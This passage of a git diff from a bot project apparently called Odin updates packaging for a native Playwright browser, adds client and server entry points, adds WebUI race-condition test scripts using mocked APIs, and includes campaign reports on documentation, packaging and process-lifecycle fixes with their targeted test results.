&& npm run check:schedule-availability && npm run check:codex-quota-ui && npm run check:llm-config-refresh && npm run check:llm-provider-visibility && npm run check:template-bindings && npm run check:permission-token-repair && npm run check:listener-consent && npm run check:w1-webui && npm run check:modal-race && npm run check:host-access-races && npm run check:host-enrollment && npm run check:socket-identity && npm run check:ws-lifecycle && npm run check:login-persistence && npm run check:w2-freshness && npm run check:toggle-serialization && npm run check:search-races && npm run check:config-keydown && npm run check:css-tokens && npm run check:turn-state-webui && npm run check:audit-verify && npm run check:schedule-time && npm run check:schedule-report-format && npm run check:config-health && npm run check:config-center-ui2 && npm run check:mcp-webui && npm run check:tools-webui && npm run check:learning-toggle && npm run check:config-save-boundaries && npm run check:usage-activity && npm run check:output-renderer && npm run check:live-logs && npm run check:logs-preset-search-races && npm run check:discord-identity && npm run check:v410-webui && npm run build", "check:listener-consent": "node scripts/check-listener-consent.mjs", "check:host-access-races": "node scripts/check-host-access-races.mjs && node scripts/check-host-access-redesign.mjs && node scripts/check-host-access-modal.mjs", "check:host-enrollment": "node scripts/check-host-enrollment-browser.mjs", @@ -46,11 +46,13 @@ "check:logs-preset-search-races": "node scripts/check-logs-preset-search-races.mjs", "check:computer": "node scripts/check-computer-browser.mjs", "check:permission-token-repair": "node scripts/check-permission-token-repair.mjs", - "check:discord-identity": "node scripts/check-discord-identity.mjs" + "check:discord-identity": "node scripts/check-discord-identity.mjs", + "check:v410-webui": "node scripts/check-v410-webui-browser.mjs" }, "dependencies": { "dompurify": "^3.2.0", "marked": "^15.0.0", + "re2js": "^2.8.6", "vue": "^3.5.0", "vue-router": "^4.5.0" }, diff --git a/packaging/nfpm.yml b/packaging/nfpm.yml index 79fb8ad79..156dbc20f 100644 --- a/packaging/nfpm.yml +++ b/packaging/nfpm.yml @@ -22,6 +22,28 @@ depends: # Already required by the service and maintainer hooks, not a desktop stack. - systemd - sudo + # Native Playwright Chromium is enabled by the shipped config. These are + # required even with --no-install-recommends, unlike the optional desktop. + - libasound2t64 | libasound2 + - libatk-bridge2.0-0t64 | libatk-bridge2.0-0 + - libatk1.0-0t64 | libatk1.0-0 + - libcups2t64 | libcups2 + - libdbus-1-3 + - libdrm2 + - libgbm1 + - libnss3 + - libnspr4 + - libx11-6 + - libxcb1 + - libxcomposite1 + - libxdamage1 + - libxext6 + - libxfixes3 + - libxkbcommon0 + - libxrandr2 + - libpango-1.0-0 + - libcairo2 + - fonts-liberation recommends: - python3-pip @@ -92,11 +114,24 @@ contents: - src: ./scripts/codex_login.py dst: /opt/odin/scripts/codex_login.py + - src: ./scripts/install-browser-runtime.sh + dst: /opt/odin/scripts/install-browser-runtime.sh + - src: ./scripts/odin-cli.py dst: /usr/local/bin/odin file_info: mode: 0755 + - src: ./scripts/odin-server + dst: /usr/local/bin/odin-server + file_info: + mode: 0755 + + - src: ./scripts/odin-cli.py + dst: /usr/local/bin/odin-client + file_info: + mode: 0755 + - src: ./packaging/odin.service dst: /usr/lib/systemd/system/odin.service diff --git a/packaging/odin.service b/packaging/odin.service index a7a0c0b1f..c18d21b30 100644 --- a/packaging/odin.service +++ b/packaging/odin.service @@ -19,6 +19,7 @@ WorkingDirectory=/opt/odin StateDirectory=odin-workspace StateDirectoryMode=0700 Environment=ODIN_ENV_FILE=/etc/odin/.env +Environment=PLAYWRIGHT_BROWSERS_PATH=/opt/odin/.cache/ms-playwright Environment=ODIN_INITIALIZATION_STATE=/var/lib/odin/initialization/state.json ExecStart=/opt/odin/.venv/bin/python -m src /etc/odin/config.yml --env-file /etc/odin/.env --initialization-state /var/lib/odin/initialization/state.json EnvironmentFile=/etc/odin/.env diff --git a/packaging/postinstall.sh b/packaging/postinstall.sh index 3699c9a73..445ab0d29 100755 --- a/packaging/postinstall.sh +++ b/packaging/postinstall.sh @@ -146,18 +146,20 @@ if [ -f "$APP_DIR/pyproject.toml" ]; then # them on BOTH fresh installs and upgrades; missing extras must not silently # hide documented tools. OS desktop packages remain APT Recommends. Installing # dependencies is not an authorization grant and never enables computer use. - "$APP_DIR/.venv/bin/pip" install --quiet "$APP_DIR[pdf,computer]" + "$APP_DIR/.venv/bin/pip" install --quiet "$APP_DIR[pdf,computer,browser]" else echo "Odin: mandatory application metadata is missing." >&2 exit 1 fi # A successful dependency command alone does not prove the installed app imports. (cd "$APP_DIR" && "$APP_DIR/.venv/bin/python" -c \ - 'import src.__main__; import src.discord.client; import pymupdf; import PIL; import Xlib; import dbus_next') + 'import src.__main__; import src.discord.client; import pymupdf; import playwright; import PIL; import Xlib; import dbus_next') -# Install Playwright browsers for native browser support (optional feature) -"$APP_DIR/.venv/bin/playwright" install chromium 2>/dev/null || \ - echo " Note: playwright browser install skipped — the browser_* tools stay disabled until you run '$APP_DIR/.venv/bin/playwright install chromium'" +# The template enables native browsing. Qualify its executable and libraries, +# not just the Python import. Debian dependencies provide OS libraries; do not +# invoke apt recursively from a dpkg maintainer hook. +export PLAYWRIGHT_BROWSERS_PATH="$APP_DIR/.cache/ms-playwright" +sh "$APP_DIR/scripts/install-browser-runtime.sh" "$APP_DIR/.venv/bin/python" # Generate SSH key for the odin user if none exists if [ ! -f "$APP_DIR/.ssh/id_ed25519" ]; then @@ -168,6 +170,11 @@ if [ ! -f "$APP_DIR/.ssh/id_ed25519" ]; then echo " SSH key generated at $APP_DIR/.ssh/id_ed25519" fi +# Repair only the obsolete shipped key default, on fresh installs AND upgrades. +# A real legacy identity, custom key path or environment placeholder is retained. +(cd "$APP_DIR" && "$APP_DIR/.venv/bin/python" -m src.config.package_migrations \ + "$CONFIG_DIR/config.yml" "$APP_DIR/.ssh/id_ed25519") + # Set ownership and permissions chown -R "$SERVICE_USER:$SERVICE_GROUP" "$APP_DIR" "$DATA_DIR" "$LOG_DIR" # Odin refuses to run local commands unless this is 0700 and owned by the diff --git a/pyproject.toml b/pyproject.toml index b957ec6e0..64def11df 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -17,9 +17,13 @@ dependencies = [ "ruamel.yaml>=0.18", "pydantic>=2.0", "jsonschema>=4.23,<5", + "packaging>=23.2", + "regex>=2024.11.6", "croniter>=2.0.0", "fastembed>=0.8.0", "sqlite-vec>=0.1.0", + # Native image output must be fully decoded before it can be delivered. + "Pillow>=12.3,<13", ] [project.optional-dependencies] @@ -32,6 +36,10 @@ computer = ["Pillow>=12.3,<13", "python-xlib>=0.33,<1; sys_platform == 'linux'", # All optional executor features all = ["odin-bot[pdf,browser,computer]"] dev = [ + # Packaging regressions build a non-editable wheel without network/build + # isolation. Match the backend's SPDX-license support, not editable imports. + "setuptools>=77", + "wheel>=0.45", "pytest>=8.0", "pytest-asyncio>=0.23", "pytest-cov", @@ -50,10 +58,13 @@ dev = [ "types-PyYAML==6.0.12.20260518", "types-croniter==6.2.3.20260704", "types-jsonschema==4.26.0.20260518", + "types-regex==2026.9.10.20260911", ] [project.scripts] -odin = "src.__main__:main" +odin = "src.cli:main" +odin-client = "src.cli:main" +odin-server = "src.__main__:main" [tool.pytest.ini_options] asyncio_mode = "auto" @@ -78,7 +89,7 @@ select = ["E", "F", "W", "I", "N", "UP"] "src/learning/reflector.py" = ["E501"] [build-system] -requires = ["setuptools>=68.0"] +requires = ["setuptools>=77.0"] build-backend = "setuptools.build_meta" [tool.setuptools.packages.find] @@ -87,3 +98,4 @@ include = ["src*"] [tool.setuptools.package-data] "src.computer.runtime" = ["assets/*", "assets/services/*"] +"src.tools" = ["model_hints_seed.json"] diff --git a/results/docs.md b/results/docs.md new file mode 100644 index 000000000..256fc6611 --- /dev/null +++ b/results/docs.md @@ -0,0 +1,24 @@ +# Documentation campaign: issues #434–#442 + +Worktree: `/home/odin/campaign-v410-worktrees/docs` (`work/v410-docs`). + +| Issue | Change / verified behavior | Commit | Tests | +|---|---|---|---| +| #434 | Clarified update self-re-exec versus setup wizard save; wizard reports operator restart requirement and does not schedule re-exec. | `150e491` | `tests/test_docs_campaign_contracts.py::test_setup_restart_docs_distinguish_update_from_wizard` | +| #435 | Replaced rejected WebSocket query-token guidance with browser bearer subprotocol, Authorization header option and query-token rejection. | `150e491` | `...::test_websocket_auth_docs_describe_supported_carriers_and_reject_query_tokens` | +| #436 | Corrected Hyprland first-use description with bounded identity discovery and managed plugin activation conditions. | `150e491` | `...::test_hyprland_operator_guide_covers_bounded_managed_first_use` | +| #437 | Documented Sol/Luna versus GPT-6.1 Sol effort and input-budget differences. | `150e491` | `...::test_documented_codex_effort_limits_match_authoritative_defaults` | +| #438 | Removed weekly manual Codex login claim; documented automatic refresh and reauthorization on genuine failure without fixed lifetime claims. | `150e491` | Test file verifies docs contract and key claims; no independent refresh-flow assertion. | +| #439 | Expanded provider overview to Codex, generic OpenAI-compatible endpoints (including Kimi) and Ollama. | `150e491` | `...::test_provider_overview_includes_generic_compatible_lane` | +| #440 | Removed stale overview counts and obsolete metrics/Grafana claims. Overview refers to source registries/characterization tests and package manifest rather than guessed literals. Parent owns final generated reference and final route/tool/handoff inventory counts after integration. | `150e491` | `...::test_route_inventory_claim_is_registry_backed_not_a_stale_literal`, `...::test_static_tools_and_packaged_handoffs_use_authoritative_inventory_contracts`, `...::test_docs_do_not_claim_removed_native_grafana_or_prometheus_features` | +| #441 | Clarified tool iteration caps count model/tool batches, with the loop cap per cycle and `start_loop.max_iterations` as lifetime cycle count. | `150e491` | `...::test_tool_iteration_explanation_distinguishes_batch_and_cycle_budget` | +| #442 | Corrected retired-model successor to `gpt-6-sol`; verified migration source of truth. | `150e491` | `...::test_retired_model_documentation_matches_migration_and-successor` | + +Validation run from this worktree: + +```text +/home/odin/odin-dev/.venv/bin/python -m pytest tests/test_docs_campaign_contracts.py -q +10 passed, 1 warning (third-party audioop deprecation) +``` + +Generated `docs/reference/*` and `CHANGELOG.md` intentionally untouched; parent will regenerate references/counts during integration. No live calls, deployment, service changes, or destructive commands. diff --git a/results/lifecycle-review.md b/results/lifecycle-review.md new file mode 100644 index 000000000..86957b564 --- /dev/null +++ b/results/lifecycle-review.md @@ -0,0 +1,119 @@ +# Independent process/provider/session lifecycle review + +Reviewed integrated `0e4f5666c24aeafa99833de3d0cb5a3ce13e3bad` against +`55c15761`, in the exclusive `work/v410-lifecycle-review` worktree. Read campaign +rules, decisions and the complete stored issue bodies for #432, #544-553, +#419, #420, #540, #564, #476 and #505. Also inspected the account-pool, +quota-generation and auxiliary-client lifecycle diffs for cross-cutting races. + +## Verified defects fixed in this review + +1. **Explicit local kill did not use the new whole-execution settlement.** + `kill()` still returned `killed` after a leader termination call even without + owned-session cleanup proof; a proven kill also relied on a later watcher + to release the host lease. Fake-only regression first failed with a falsely + successful kill. Now explicit kill uses the existing proof-based + `_terminate_bound_host_job`, preserves authority when proof fails, reports + uncertainty, and retires it on positive cleanup proof. Existing real local + lease regressions for explicit kill and the tool handler now both pass. +2. **Group-only remote exit lost its evidence retention deadline.** The #548 + fix legitimately changes supervisor exit status to unknown, but the unknown + poll path never copied `finished_at` or scheduled evidence expiry. It thus + advertised no expiry and held evidence indefinitely. Fake-only regression + first failed with `finished_at is None`. Now the supervisor timestamp starts + evidence retention without releasing execution authority. Regression reads + every page of 8,500 bytes unchanged, verifies expiry, and asserts unresolved + execution authority remains owned after evidence expires. +3. **An old OpenRouter profile test asserted an unsafe combined route pair.** + Independent context/output minima are correct: every eligible fallback must + satisfy both advertised axes. Updated the old regression to prove both + bounds across all three routes and preserve the pinned-route assertions. + +## Observed findings by requested area + +- #432: embedded FIFO loop accumulates actual accepted bytes, bounds blocking + to two seconds, closes the descriptor, and refuses full-delivery claims on + short acceptance. Caller validates UTF-8 byte count, not character count. +- #544: shared pending-start count fences local/remote admissions before awaits; + cancellation and failure regressions verify pending counters return to zero. +- #545: spawned records receive lifecycle ownership before initial persistence; + persistence failure attempts teardown without losing the tracked record. +- #546: timer captures exact `ProcessInfo`, checks identity, and proven settlement + cancels the timer. PID replacement regression does not target the newer job. +- #547/#549: terminal leader state is not cleanup evidence; generation settlement, + revoke and shutdown require positive owned cleanup. This review fixes the + remaining explicit local kill bypass. Unknown cleanup retains ownership. +- #548: current remote worker offers **process-group-only evidence**, not proof + against escaped descendants. Unknown is the intended result, including after + apparently ordinary remote exit. It is not a broken test to insist on that + uncertainty, and no new containment guarantee is claimed here. Supervisor's + deadline is only a backstop for the containment it actually has. +- #550: SSH master ownership is retained across cancellable closure awaits; + cancellation regression confirms a surviving master remains registered. +- #551/#552: unchanged identity publication preserves mismatch quarantine; + test-result publication shares the management transaction lock and rechecks + active identity after the SSH await. Matching successful retest is explicit. +- #553: CA enrollment scans host certificates, extracts their signer, and uses + endpoint principal identity instead of private UUID; operator fingerprint + approval plus strict SSH certificate test remain necessary. Discovery alone + is not trust. Tests are inert certificate/command fixtures, not a live CA lab. +- #419/#420: native incomplete response status reaches foreground, agents, + direct-text and loop consumers; unsettled tool calls are discarded. Typed + partial-text exceptions do not trigger auxiliary fallback; completed long + native output remains unchanged. Existing 100,000-character regression + coverage checks no arbitrary successful-output cutoff. +- #540: only one half-open owner is admitted; cancellation/local rejection + abandons its reservation and internal backoff keeps ownership reserved. +- #564: logical generation lease spans attempts/backoff; inherited request + task context permits the already-owned retired generation. Pre-dispatch + retirement is a local typed request error, not an upstream outage latch. +- Account safety: generation/CAS guards fence deleted/replaced records, + unchanged reload preserves per-account refresh locks, UI indices map to + canonical records, quota results fence same-object reloads, and secure + credential writes handle short writes. Account tests passed without APIs. +- #476: empty/non-string summary is rejected before publication and invokes + existing deterministic extractive fallback, rather than losing raw history + into an invisible empty summary. +- #505: unique API channels have a memory-only context, save/archive/reflection + exclusion and final memory cleanup. Ordinary persistent reset semantics are + not removed; ephemeral reset creates no durable tombstone. + +## Targeted validation and limits + +All pytest commands ran **from this worktree** using +`/home/odin/odin-dev/.venv/bin/python -m pytest`. No full suite, gate weakening, +live APIs, deployment, restart, merge, generated reference or UI changes. + +- Final explicit 15-file run: **219 passed**, one existing `audioop` deprecation + warning. Files: lifecycle review, campaign reasoning, provider campaign, + campaign process lifecycle/hosts/SSH, campaign resource sessions, account + mutation, credential writes, quota check, sessions review, remote processes, + retention error paths, zero-offset and kill-status tests. +- Additional selected old lease tests: **2 passed**, 40 deselected. +- Ruff on changed production module and new review/reasoning tests: passed. +- Earlier broader 7-file compatibility run: **160 passed, 6 failed, 4 teardown + errors**. All failures were in `test_process_host_lease_authority.py`. Two + legitimate explicit-kill lease failures are fixed and rerun green above. + Remaining stale expectations need coordinator fixture reconciliation: + unknown force-revoke release (lines 227/342), exact persistence call count + after watcher failure (503), aged terminal fixture missing cleanup evidence + (610), and teardown synthesizing `status=killed` without cleanup proof (63). + The teardown issues deliberately model unproven remote cleanup; do not make + production shutdown accept those records merely to pass these old tests. + That earlier run also exercised real disposable sleeper fixtures and emitted + an event-loop teardown warning; new regressions use only inert fakes. No + further broad rerun of those fixtures was attempted. + +This is a bounded source/targeted-regression review, not a claim of full-suite +pass or a live SSH/provider/certificate/descendant-containment qualification. + +## Commits to integrate, in order + +- `af2095ad`: independent conservative OpenRouter route-limit regression. +- `a9782660`: unknown remote evidence deadline, complete paginated output test. +- `78e3d91b`: explicit local kill owned-cleanup settlement and fake regression. +- `9c794bd9`: update touched kill-error test to truthful unknown settlement. +- Report commit follows these four commits. + +Coordinator should add release-note entries for the two production changes; +this exclusive review was expressly instructed not to edit CHANGELOG. diff --git a/results/packaging.md b/results/packaging.md new file mode 100644 index 000000000..8beff44ff --- /dev/null +++ b/results/packaging.md @@ -0,0 +1,32 @@ +# Packaging campaign results + +## Implemented + +- **#487** Fixed the malformed template-copy expansion in `scripts/incus-deploy.sh`; added syntax validation coverage. +- **#488** Incus deployment now transfers the UI directory needed by the web server. +- **#489** Declared `src.tools/model_hints_seed.json` as setuptools package data. +- **#490** Kept `odin` bound to the server behavior for compatibility; added `odin-client` and `odin-server` explicit aliases in Python installs and Debian packaging. No automatic rewrite of existing entrypoint semantics. +- **#491** JSON and plain output now both return failure for `is_error` responses. +- **#492** Added the browser extra to Docker, Debian and Incus install dependency sets, and asserted the browser package in Debian's import smoke check. +- **#493** Fresh Debian config defaults to the package's `/opt/odin/.ssh/id_ed25519`; existing operator config is not rewritten. Existing key material remains untouched. +- **#494** Compose now mounts the config directory, rather than a replace-incompatible individual file mount, and starts with that config path when present. +- **#497** No `voice-service` path remains in the current Compose tree; nothing to remove in this checkout. +- **#498** Aggregate WebUI check now invokes setup, computer-browser, and schedule-availability focused checks. +- **#587** Reworked stale-bucket regression to use two trusted synthetic forwarded IPs and assert stale removal versus active retention; corrected active-bucket timing. + +Regression coverage: `tests/test_packaging_campaign.py`, `tests/test_rate_limiter.py`, plus existing `tests/test_execute_api.py` coverage. + +## Validation + +- `bash -n scripts/incus-deploy.sh packaging/postinstall.sh scripts/odin-server`: passed. +- `/home/odin/odin-dev/.venv/bin/python -m pytest tests/test_packaging_campaign.py tests/test_execute_api.py tests/test_rate_limiter.py -q`: **27 passed**, one upstream `audioop` deprecation warning. +- `python -m json.tool package.json`: passed. +- No deployment, install, restart, destructive command, UI build, or full campaign gate was run. + +## #494 existing Compose upgrade compatibility + +Resolved with `scripts/docker-compose-entrypoint.sh`: the Compose file keeps the previous `./config.yml` read-only bind and adds the writable directory bind. On startup, if the new directory config is absent and the legacy config exists, the entrypoint copies it with metadata preservation. It never overwrites an existing directory config, then starts the server against the directory config so atomic persistence works. Regression test uses temporary fixture paths and a fake `python` executable, not a running service. + +## Commit + +Pending parent integration; this worktree is not pushed or merged. diff --git a/scripts/check-host-enrollment-browser.mjs b/scripts/check-host-enrollment-browser.mjs index e896cbc0b..1b0cee986 100644 --- a/scripts/check-host-enrollment-browser.mjs +++ b/scripts/check-host-enrollment-browser.mjs @@ -64,6 +64,11 @@ try { await page.waitForFunction(() => hostView.keyInfo !== null); assert.match(await page.locator('#app').innerText(), /ssh-ed25519 AAAA/); await page.getByRole('button', { name: 'Next', exact: true }).click(); + await page.evaluate(() => { hostView.form.trust_mode = 'ca'; }); + assert.match(await page.locator('#app').innerText(), /signing CA fingerprint/); + assert.match(await page.locator('#app').innerText(), /certificate-backed host/); + assert.doesNotMatch(await page.locator('#app').innerText(), /ssh-keygen -lf \/etc\/ssh\/ssh_host_ed25519_key.pub/); + await page.evaluate(() => { hostView.form.trust_mode = 'pinned'; }); await page.getByRole('button', { name: 'Scan and compare', exact: true }).click(); await page.waitForFunction(() => hostView.step === 4); diff --git a/scripts/check-mcp-webui.mjs b/scripts/check-mcp-webui.mjs index 636f49df7..55432dcb3 100644 --- a/scripts/check-mcp-webui.mjs +++ b/scripts/check-mcp-webui.mjs @@ -313,32 +313,47 @@ globalThis.fetch = async (path, opts) => { }), }; }; -pageState.status.value = { +// Toggle publication is activation-owned. Mount the real setup rather than +// treating an unmounted component as an active page. +const { createRenderer } = await import('vue'); +const toggleRenderer = createRenderer({ + insert() {}, remove() {}, createComment() { return {}; }, + parentNode() { return null; }, nextSibling() { return null; }, +}); +let toggleState; +const toggleApp = toggleRenderer.createApp({ + setup() { toggleState = mcpServersPage.setup(); return () => null; }, +}); +toggleApp.mount({}); +await new Promise(resolve => setTimeout(resolve, 0)); +fetchCalls.length = 0; +toggleState.status.value = { enabled: true, connected_count: 1, servers: [{ name: 'dw', enabled: true, state: 'connected' }], }; -await pageState.toggleServerEnabled(pageState.status.value.servers[0], { +await toggleState.toggleServerEnabled(toggleState.status.value.servers[0], { target: { checked: false }, }); -assert.equal(fetchCalls.length, 1); +assert.equal(fetchCalls.length, 2, 'one mutation plus authoritative post-mutation read'); assert.equal(fetchCalls[0].path, '/api/mcp/servers/dw/enabled'); assert.equal(fetchCalls[0].opts.method, 'POST'); assert.deepEqual(JSON.parse(fetchCalls[0].opts.body), { enabled: false }); // The canonical returned payload is adopted — no optimistic state invented. -assert.equal(pageState.status.value.servers[0].enabled, false); -assert.equal(pageState.status.value.servers[0].state, 'disabled'); +assert.equal(toggleState.status.value.servers[0].enabled, false); +assert.equal(toggleState.status.value.servers[0].state, 'disabled'); // A failed toggle restores the prior configured switch state. globalThis.fetch = async () => { throw new Error('network down'); }; const failedInput = { checked: true }; -await pageState.toggleServerEnabled( +await toggleState.toggleServerEnabled( { name: 'dw', enabled: false, state: 'disabled' }, { target: failedInput }, ); assert.equal(failedInput.checked, false); +toggleApp.unmount(); // The two disabled causes stay textually distinguishable. pageState.status.value = { enabled: true, connected_count: 0, servers: [] }; @@ -355,7 +370,6 @@ assert.equal( // Publication limits use the real setup and mounted lifecycle. A minimal Vue // renderer supplies lifecycle only; numeric DOM constraints are checked on the // actual template AST, while every edit/save/poll action below runs page code. -const { createRenderer } = await import('vue'); const perServer = 'max_published_tools_per_server'; const globalLimit = 'max_published_tools_global'; const limitsForm = findElement(mcpTemplateAst, diff --git a/scripts/check-prefix-measurement.mjs b/scripts/check-prefix-measurement.mjs new file mode 100644 index 000000000..ba5ac3676 --- /dev/null +++ b/scripts/check-prefix-measurement.mjs @@ -0,0 +1,35 @@ +import assert from 'node:assert/strict'; +import { createSSRApp } from 'vue'; +import { renderToString } from '@vue/server-renderer'; + +globalThis.localStorage = { getItem() { return null; } }; +globalThis.sessionStorage = { getItem() { return null; } }; +globalThis.document = { addEventListener() {}, removeEventListener() {} }; +globalThis.window = { setInterval, clearInterval, setTimeout, clearTimeout }; +const { default: page } = await import('../ui/js/pages/internals.js'); + +async function render(compressionStats) { + const originalWarn = console.warn; + console.warn = () => {}; + let state; + try { state = page.setup(); } finally { console.warn = originalWarn; } + state.loading.value = false; + state.compressionStats.value = compressionStats; + const app = createSSRApp({ template: page.template, setup() { return state; } }); + app.component('odin-icon', { template: '' }); + return renderToString(app); +} + +for (const fixture of [ + { prefix_hit_rate: 0 }, // Older API response must not fabricate measurements. + { prefix_hit_rate: null, prefix_measurement: 'unmeasured' }, +]) { + const html = await render(fixture); + assert.ok(html.includes('Prefix stability: Not measured')); + assert.ok(!html.includes('Local prefix equality: 0%')); + assert.ok(html.includes('Upstream cache hits: Not measured here')); +} +const local = await render({ prefix_hit_rate: 0.5, prefix_measurement: 'local_prefix_equality' }); +assert.ok(local.includes('Local prefix equality: 50% (not upstream cache hits)')); +assert.ok(local.includes('Upstream cache hits: Not measured here')); +console.log('prefix measurement: real page rendering checks passed'); diff --git a/scripts/check-process-kill-outcome.mjs b/scripts/check-process-kill-outcome.mjs new file mode 100644 index 000000000..eadbec7ee --- /dev/null +++ b/scripts/check-process-kill-outcome.mjs @@ -0,0 +1,54 @@ +// Execute the real page setup against mocked transports. No process is killed. +import assert from 'node:assert/strict'; +import fs from 'node:fs/promises'; +import vm from 'node:vm'; + +const source = await fs.readFile(new URL('../ui/js/pages/processes.js', import.meta.url), 'utf8'); +let reply; +const successes = []; +const failures = []; +const context = vm.createContext({ + console, setInterval: () => 1, clearInterval: () => {}, +}); +const api = { get: async () => [], del: async () => reply }; +const vue = { + ref: value => ({ value }), computed: fn => ({ get value() { return fn(); } }), + onActivated() {}, onDeactivated() {}, onMounted() {}, onUnmounted() {}, watch() {}, +}; +const modules = { + '../api.js': { api, ws: { on() {}, off() {} } }, + '../toast.js': { toast: { success: text => successes.push(text), error: text => failures.push(text) } }, + '../confirm.js': { confirmDialog: async () => true }, + '../utils.js': { formatDuration: String }, + vue, +}; +const module = new vm.SourceTextModule(source, { context }); +await module.link(async specifier => { + if (specifier === '../request-owner.js') { + const owner = new vm.SourceTextModule(await fs.readFile( + new URL('../ui/js/request-owner.js', import.meta.url), 'utf8'), { context }); + await owner.link(() => new vm.SyntheticModule(Object.keys(vue), function () { + for (const [name, value] of Object.entries(vue)) this.setExport(name, value); + }, { context })); + return owner; + } + const exports = modules[specifier]; + assert.ok(exports, `Unexpected dependency ${specifier}`); + return new vm.SyntheticModule(Object.keys(exports), function () { + for (const [name, value] of Object.entries(exports)) this.setExport(name, value); + }, { context }); +}); +await module.evaluate(); +const page = module.namespace.default.setup(); +for (const result of [ + { success: false, result: 'Error: read-only evidence.' }, + { success: true, result: 'Process 123 already exited.', outcome: 'already_stopped' }, + { success: true, result: 'Process 123 killed.', outcome: 'killed' }, +]) { + reply = result; + await page.doKill(123); + assert.equal(page.killingPid.value, null); +} +assert.deepEqual(failures, ['Error: read-only evidence.']); +assert.deepEqual(successes, ['Process 123 already exited.', 'Process 123 killed.']); +console.log('process-kill: acknowledged outcomes only; refusals never produce a success toast'); diff --git a/scripts/check-v410-webui-browser.mjs b/scripts/check-v410-webui-browser.mjs new file mode 100644 index 000000000..da443b6cd --- /dev/null +++ b/scripts/check-v410-webui-browser.mjs @@ -0,0 +1,287 @@ +import assert from 'node:assert/strict'; +import fs from 'node:fs'; +import { chromium } from 'playwright-core'; +import { createServer } from 'vite'; + +// Native Vue lifecycle and Chromium input, on an ephemeral loopback fixture. +// No installed Odin server, desktop session, or production API is contacted. +const server = await createServer({ + configFile: false, root: process.cwd(), appType: 'custom', + resolve: { alias: { vue: 'vue/dist/vue.esm-bundler.js' } }, + define: { __VUE_OPTIONS_API__: 'true', __VUE_PROD_DEVTOOLS__: 'false', __VUE_PROD_HYDRATION_MISMATCH_DETAILS__: 'false' }, + server: { host: '127.0.0.1', port: 0, watch: null }, +}); +const html = `
`; +server.middlewares.use(async (req, res, next) => { + if (req.url !== '/fixture.html') return next(); + res.setHeader('Content-Type', 'text/html'); + res.end(await server.transformIndexHtml(req.url, html)); +}); +let browser; +try { + await server.listen(); + const executablePath = process.env.CHROMIUM_PATH || ['/usr/bin/chromium', '/usr/bin/chromium-browser', '/usr/bin/google-chrome'].find(p => fs.existsSync(p)); + browser = await chromium.launch({ executablePath, headless: true, args: ['--no-sandbox'] }); + const page = await browser.newPage(); + const errors = []; page.on('pageerror', e => errors.push(e.message)); + await page.goto(`http://127.0.0.1:${server.httpServer.address().port}/fixture.html`); + await page.waitForFunction(() => window.ready); + + // #517 latest draft drains serially, even if changed multiple times during PUT. + await page.evaluate(async () => { + await mount('LLM'); window.puts = []; const gate = defer(); + api.put = async (path, body) => { puts.push(body.model); if (puts.length === 1) await gate.promise; window.savedModel = body.model; return {}; }; + state.modelSelection.value.main = 'gpt-6-luna'; const first = state.saveMainModel(); + await flush(); state.modelSelection.value.main = 'gpt-6-sol'; await state.saveMainModel(); + state.modelSelection.value.main = 'gpt-6.1-sol'; await state.saveMainModel(); + gate.resolve(); await first; await flush(); + }); + assert.deepEqual(await page.evaluate(() => puts), ['gpt-6-luna', 'gpt-6.1-sol']); + assert.equal(await page.evaluate(() => savedModel), 'gpt-6.1-sol'); + assert.equal(await page.evaluate(() => state.modelSelection.value.main), 'gpt-6.1-sol'); + + // #518 routes, spinner and failures belong to the selected model/request. + const routeResult = await page.evaluate(async () => { + const gates = []; api.get = path => { if (path.endsWith('/endpoints')) { const g=defer(); gates.push(g); return g.promise; } return Promise.resolve(normal(path)); }; + const a=state.prepareOpenRouterModel({ id:'author/A' }); const b=state.prepareOpenRouterModel({ id:'author/B' }); + gates[1].resolve({ endpoints:[{ tag:'B' }] }); await b; + gates[0].resolve({ endpoints:[{ tag:'A' }] }); await a; + const result = [state.openRouterPendingModel.value.id, state.openRouterPendingEndpoints.value[0].tag, state.openRouterPendingLoading.value]; + const c=state.prepareOpenRouterModel({ id:'author/C' }); state.cancelOpenRouterPending(); gates[2].reject(new Error('stale')); await c; + return { result, cancelled: state.openRouterPendingModel.value === null && !state.openRouterPendingLoading.value }; + }); + assert.deepEqual(routeResult, { result:['author/B','B',false], cancelled:true }); + + // #519 an old GET cannot resurrect the server after acknowledged disable. + assert.equal(await page.evaluate(async () => { + await mount('MCP'); const old=defer(); let reads=0; + api.get=()=>++reads===1 ? old.promise : Promise.resolve(normal('/api/mcp/status')); + const poll=state.refreshAll(); api.post=async()=>normal('/api/mcp/status'); + const toggle=state.toggleServerEnabled({ name:'s', enabled:true }, { target:{checked:false} }); + await flush(); api.get=async()=>normal('/api/mcp/status'); + old.resolve({ enabled:true, servers:[{name:'s',enabled:true}] }); + await Promise.all([poll,toggle]); return state.status.value.servers[0].enabled; + }), false); + + // #520 every affected real page: reverse completions, stale errors and + // hidden completion. Lifecycle-owned requests include partial internals failures. + for (const [name, method, data, path] of [ + ['Health','fetchHealth','data','/api/health/components'], ['Resources','refresh','data','/api/resource-usage'], + ['Processes','fetchProcesses','processes','/api/processes'], ['Agents','fetchAgents','agents','/api/agents'], + ['Loops','fetchLoops','loops','/api/loops'], ['Schedules','fetchSchedules','schedules','/api/schedules'], + ['Internals','retry','startup','/api/startup'], + ]) { + const result = await page.evaluate(async ({name,method,data,path}) => { + await mount(name); const gates=[]; + if (name==='Internals') path=state.endpoints[0].path; + api.get = p => { if(p===path) {const g=defer(); gates.push(g); return g.promise;} return Promise.resolve(normal(p)); }; + const old=state[method](); const newer=state[method](); + const value = label => ['processes','agents','loops','schedules'].includes(data) ? [{ marker:label }] : {marker:label}; + gates[1].resolve(value('new')); await newer; await flush(); + gates[0].resolve(value('old')); await old; await flush(); + const marker = () => (Array.isArray(state[data].value) ? state[data].value[0] : state[data].value)?.marker; + const adopted=marker(); const errorRequest=state[method](); const successful=state[method](); + gates[3].resolve(value('latest')); await successful; await flush(); gates[2].reject(new Error('obsolete')); await errorRequest; await flush(); + const staleError=state.error.value; const hidden=state[method](); await hide(); + gates[4].resolve(value('hidden')); await hidden; await flush(); + const hiddenMarker=marker(); + await show(); gates[5].resolve(value('reactivated')); await flush(); + return { adopted, marker:hiddenMarker, reactivated:marker(), staleError, loading:state.loading.value }; + }, {name,method,data,path}); + assert.equal(result.adopted,'new',name); assert.equal(result.marker,'latest',name); + assert.equal(result.reactivated,'reactivated',name); + assert.ok(!result.staleError, `${name}: stale error ignored`); assert.equal(result.loading,false,name); + } + + // #521 props reused A -> B, B resolves first; original A is never shown with B. + const identity = await page.evaluate(async () => { + await identityMount(); await 